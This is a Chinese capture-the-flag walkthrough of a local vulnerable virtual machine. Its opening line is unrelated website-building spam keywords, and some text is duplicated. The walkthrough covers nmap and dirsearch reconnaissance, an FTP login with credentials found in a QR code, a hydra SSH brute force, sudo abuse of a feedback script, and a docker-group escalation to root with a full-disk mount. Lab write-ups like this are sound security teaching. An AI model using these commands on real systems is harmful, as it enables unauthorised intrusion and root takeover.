杭州公司网站建设电话,网站中文模板,付网站建设费分录,做任务赚话费的网站准备工作
靶机下载地址#xff0c;下载完成后使用virtualbox打开虚拟机#xff0c;网络设置修改为桥接。
信息收集
主机发现
攻击机ip#xff1a;192.168.31.218#xff0c;nmap扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4 目标靶机ip为#xff1a;192…准备工作
靶机下载地址下载完成后使用virtualbox打开虚拟机网络设置修改为桥接。
信息收集
主机发现
攻击机ip192.168.31.218nmap扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4 目标靶机ip为192.168.31.228
端口扫描
nmap 192.168.31.228 -A -p- -T4 目标靶机开放了212280端口。 21端口ftp服务vsftpd 3.0.3 22端口ssh服务OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) 80端口http服务Apache httpd 2.4.38
web站点信息收集
访问http服务首页如下 没什么信息目录扫描dirsearch -u http://192.168.31.228没信息换个字典。
dirsearch -u http://192.168.31.228 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
找到一个隐蔽的目录hidden_text。访问结果如图 Thank You指向另一个路径访问得到一个二维码。 扫描内容如下 #!/bin/bash HOSTip USERuserftp PASSWORDftppssword ftp -inv $HOST user $USER $PASSWORD bye EOF渗透
FTP登录
根据web信息收集中二维码扫描内容可知涉及FTP的简单的shell脚本的使用ftp用户名是userftp密码是ftppssword直接登录即可。这里我写的shell脚本来显示文件列表纯纯试一下ftp的简单shell脚本如何使用都给出了用户名和密码直接登录即可最终目的就是拿到ftp服务器中的两个文件
#!/bin/bash
ftp -inv 192.168.31.228 EOF # EOF是一个分界标志
user userftp ftppssword
binary # 设定传输方式为二进制方式
pwd # 查看FTP服务器上的当前工作目录
ls # 显示文件列表
bye # 推出ftp会话
EOF
执行shell脚本得到ftp当前工作目录和文件列表。 修改一下shell脚本下载FTP服务器上的文件。
#!/bin/bash
ftp -inv 192.168.31.228 EOF # EOF是一个分界标志
user userftp ftppssword
binary
get information.txt
get p_lists.txt
bye
EOF 执行脚本得到一个字典文件p_lists.txt和information.txtinformation.txt内容如下 Hello robin ...! Im Already Told You About Your Password Weekness. I will give a Password list. you May Choose Anyone of The Password. 存在一个用户robin并给出了密码字典爆破吧。
ssh爆破
给出了用户名和字典hydra爆破ssh。
hydra -l robin -P p_lists.txt ssh://192.168.31.228 得到密码k4rv3ndh4nh4ck3r。
ssh登录过程中有点小问题提示WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! 解决方法如下
ssh-keygen -R 192.168.31.228
之后正常登录即可。 get user1.txt! 接下来找到了user2.txt但是仅jerry才有读权。 提权
sudo提权
sudo提权sudo -l发现可以通过/home/robin/project/feedback.sh提权到jerry。 feedback.sh当前仅有rx权限放弃写入反弹shell的方法直接执行提示需要输入名字和目标机器。
sudo -u jerry ./feedback.shEnter Your Name:随便填一个
Enter You FeedBack About This Target Machine:/bin/bash
成功切换到jerry注意到jerry用户加入了docker用户组。 获得一个交互式shell。
python3 -c import pty;pty.spawn(/bin/bash)
get user2.txt! docker容器提权
当前jerry用户是普通用户且加入了docker组。有一个提权方式——普通用户利用docker容器提权。
补充为什么能利用docker容器提权因为用户创建一个docker容器后容器内默认是root账户会自动在命令前添加sudo。一个普通用户只要加入docker组就等同于root。
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
提权成功。 get root.txt!